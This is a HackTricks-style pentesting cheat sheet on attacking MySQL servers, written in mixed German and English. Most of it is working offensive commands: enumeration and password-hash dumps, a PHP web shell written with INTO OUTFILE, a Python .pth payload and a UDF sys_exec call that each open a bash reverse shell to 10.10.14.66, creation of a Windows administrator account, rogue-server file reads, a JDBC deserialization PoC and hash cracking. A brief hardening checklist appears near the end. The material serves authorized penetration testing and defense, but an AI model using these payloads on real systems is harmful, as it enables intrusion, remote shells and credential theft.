3306 - Pentesting Mysql
Reading time: 18 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
MySQL ist ein Open-Source-Relationales Datenbank-Managementsystem (RDBMS), das kostenfrei verfügbar ist. Es verwendet die Structured Query Language (SQL) und ermöglicht die Verwaltung und Manipulation von Datenbanken.
Standardport: 3306
3306/tcp open mysql
Verbinden
Lokal
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
Fernzugriff
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
External Enumeration
Einige der enumeration-Aktionen erfordern gültige Anmeldeinformationen
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
Brute force
Beliebige Binärdaten schreiben
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
MySQL-Befehle
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
MySQL Berechtigungsaufzählung
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
Die Bedeutung jedes Privileges findest du in der Dokumentation: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
MySQL File RCE
INTO OUTFILE → Python .pth RCE (site-spezifische Konfigurations-Hooks)
Durch Missbrauch des klassischen INTO OUTFILE-Primitives ist es möglich, beliebige Code-Ausführung auf Zielen zu erlangen, die später Python-Skripte ausführen.
- Verwende
INTO OUTFILE, um eine benutzerdefinierte.pth-Datei in ein Verzeichnis abzulegen, das automatisch vonsite.pygeladen wird (z. B..../lib/python3.10/site-packages/). - Die
.pth-Datei kann eine einzelne Zeile enthalten, die mitimportbeginnt, gefolgt von beliebigem Python-Code, der bei jedem Start des Interpreters ausgeführt wird. - Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel
/cgi-bin/ml-draw.pymit Shebang#!/bin/python), wird das Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als root aus → full pre-auth RCE).
Beispiel .pth-Payload (eine einzelne Zeile, es dürfen keine Leerzeichen im finalen SQL-Payload enthalten sein, daher kann hex/UNHEX() oder String-Konkatenation erforderlich sein):
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
Beispiel für das Erstellen der Datei durch eine UNION query (Leerzeichen durch /**/ ersetzt, um einen sscanf("%128s") Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten):
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
Wichtige Einschränkungen & Umgehungen:
INTO OUTFILEkann bestehende Dateien nicht überschreiben; wähle einen neuen Dateinamen.- Der Dateipfad wird relativ zum CWD von MySQL aufgelöst, daher hilft das Voranstellen von
../../, den Pfad zu verkürzen und absolute-Pfad-Beschränkungen zu umgehen. - Wenn die Eingabe des Angreifers mit
%128s(oder ähnlichem) extrahiert wird, schneidet jedes Leerzeichen die payload ab; verwende MySQL-Kommentarsequenzen/**/oder/*!*/, um Leerzeichen zu ersetzen. - Der MySQL-Benutzer, der die Abfrage ausführt, benötigt die
FILE-Berechtigung, aber in vielen Appliances (z. B. FortiWeb) läuft der Dienst als root, wodurch Schreibzugriff fast überall möglich ist.
Nachdem die .pth abgelegt wurde, fordere einfach ein beliebiges CGI an, das vom python interpreter verarbeitet wird, um code execution zu erhalten:
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
Der Python-Prozess wird die bösartige .pth automatisch importieren und das shell payload ausführen.
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
MySQL arbitrary read file by client
Tatsächlich: Wenn du versuchst, mit load data local into a table den content of a file zu laden, fordert der MySQL- oder MariaDB-Server den client to read it auf und der Client sendet den Inhalt. Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.
Bitte beachte, dass dieses Verhalten bei Verwendung von:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
(Beachte das Wort "local")\ Denn ohne das "local" bekommst du:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
Erstes PoC: https://github.com/allyshka/Rogue-MySql-Server
In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann: https://paper.seebug.org/1113/
Hier finden Sie eine Übersicht über den Angriff: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
POST
Mysql-Benutzer
Es ist sehr interessant, wenn mysql als root läuft:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
Gefährliche Einstellungen in mysqld.cnf
In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um den Betrieb und die Sicherheitsmaßnahmen zu definieren:
- Die
user-Einstellung wird genutzt, um den Benutzer anzugeben, unter dem der MySQL-Dienst ausgeführt wird. passwordwird verwendet, um das Passwort des MySQL-Benutzers festzulegen.admin_addressgibt die IP-Adresse an, die auf der administrativen Netzwerkschnittstelle für TCP/IP-Verbindungen lauscht.- Die
debug-Variable gibt die aktuellen Debug-Konfigurationen an, einschließlich sensibler Informationen in den Logs. sql_warningssteuert, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten.- Mit
secure_file_privwird der Umfang von Datenimport- und -exportvorgängen eingeschränkt, um die Sicherheit zu erhöhen.
Privilegieneskalation
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
Privilege Escalation via library
Wenn der mysql server is running as root (oder ein anderer, höher privilegierter Benutzer) läuft, kannst du ihn Befehle ausführen lassen. Dafür musst du user defined functions verwenden. Und um eine user defined zu erstellen, benötigst du eine library für das OS, auf dem mysql läuft.
Die bösartige Library, die verwendet werden soll, findest du in sqlmap und metasploit, indem du locate "*lib_mysqludf_sys*" ausführst. Die .so Dateien sind linux libraries und die .dll die Windows-Dateien — wähle die, die du brauchst.
Wenn du diese Libraries nicht hast, kannst du entweder danach suchen, oder diesen linux C code herunterladen und ihn auf der verwundbaren linux-Maschine kompilieren:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Jetzt, da du die Bibliothek hast, login im Mysql als privilegierter Benutzer (root?) und folge den nächsten Schritten:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
Windows-Tipp: Verzeichnisse mit NTFS ADS aus SQL erstellen
Auf NTFS kannst du die Erstellung von Verzeichnissen mithilfe eines alternativen Datenstroms (alternate data stream) erzwingen, selbst wenn nur ein file write primitive vorhanden ist. Wenn die klassische UDF chain ein plugin-Verzeichnis erwartet, dieses aber nicht existiert und @@plugin_dir unbekannt oder gesperrt ist, kannst du es zuerst mit ::$INDEX_ALLOCATION erstellen:
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
Damit lässt sich das eingeschränkte SELECT ... INTO OUTFILE auf Windows-Stacks zu einer vollständigeren Primitive ausbauen, indem die für UDF drops benötigte Ordnerstruktur angelegt wird.
MySQL-Anmeldedaten aus Dateien extrahieren
In /etc/mysql/debian.cnf findest du das Klartext-Passwort des Benutzers debian-sys-maint
cat /etc/mysql/debian.cnf
Du kannst use these credentials to login in the mysql database.
In der Datei: /var/lib/mysql/mysql/user.MYD findest du all the hashes of the MySQL users (die du aus mysql.user in der Datenbank extrahieren kannst).
Du kannst sie extrahieren, indem du:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
Aktivierung der Protokollierung
Sie können die Protokollierung von mysql-Abfragen in /etc/mysql/my.cnf aktivieren, indem Sie die Kommentarzeichen der folgenden Zeilen entfernen:
.png)
Nützliche Dateien
Konfigurationsdateien
- windows *
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- <InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- ~/.my.cnf
- /etc/my.cnf
- Befehlsverlauf
- ~/.mysql.history
- Protokolldateien
- connections.log
- update.log
- common.log
Standard-MySQL-Datenbanken/-Tabellen
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
HackTricks automatische Befehle
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2023-2025 Highlights (neu)
JDBC propertiesTransform deserialization (CVE-2023-21971)
Ab Connector/J <= 8.0.32 kann ein Angreifer, der die JDBC URL beeinflussen kann (z. B. in Drittanbieter-Software, die nach einem Connection-String fragt), über den Parameter propertiesTransform verlangen, dass beliebige Klassen auf der Client-Seite geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt dies zu remote code execution in the context of the JDBC client (pre-auth, weil keine gültigen Anmeldedaten erforderlich sind). Ein minimales PoC sieht so aus:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Das Ausführen von Evil.class kann so einfach sein, wie sie auf dem class-path der verwundbaren Anwendung bereitzustellen oder einen rogue MySQL server ein bösartiges serialisiertes Objekt senden zu lassen. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie propertiesTransform explizit auf eine allow-list.
(Siehe Snyk write-up für Details)
Rogue / Fake MySQL Server-Angriffe gegen JDBC-Clients
Mehrere Open-Source-Tools implementieren ein partial MySQL-Protokoll, um JDBC-Clients anzugreifen, die Verbindungen nach außen herstellen:
- mysql-fake-server (Java, supports file read and deserialization exploits)
- rogue_mysql_server (Python, similar capabilities)
Typische Angriffswege:
- Die Opferanwendung lädt
mysql-connector-jmitallowLoadLocalInfile=trueoderautoDeserialize=true. - Der Angreifer kontrolliert DNS / hosts-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
- Der bösartige Server antwortet mit speziell gestalteten Paketen, die entweder
LOCAL INFILEarbitrary file read oder Java deserialization → RCE auslösen.
Beispiel-One-Liner, um einen Fake-Server zu starten (Java):
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
Zeige dann die victim application auf jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true und lese /etc/passwd, indem du den Dateinamen als base64 im username-Feld kodierst (fileread_/etc/passwd → base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).
Cracking caching_sha2_password hashes
MySQL ≥ 8.0 speichert Passwort-Hashes als $mysql-sha2$ (SHA-256). Sowohl Hashcat (mode 21100) als auch John-the-Ripper (--format=mysql-sha2) unterstützen Offline-Cracking seit 2023. Dump die authentication_string-Spalte und speise sie direkt ein:
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
Härtungs-Checkliste (2025)
• Set LOCAL_INFILE=0 und --secure-file-priv=/var/empty, um die meisten Datei-Lese-/Schreib-Primitives zu unterbinden.
• Entferne das FILE-Privileg von Anwendungskonten.
• Bei Connector/J setze allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (leer).
• Deaktiviere ungenutzte Authentifizierungs-Plugins und erfordere TLS (require_secure_transport = ON).
• Überwache auf CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL und plötzliche SET GLOBAL-Anweisungen.
Quellen
-
Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)
-
mysql-fake-server – Rogue MySQL server for JDBC client attacks
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks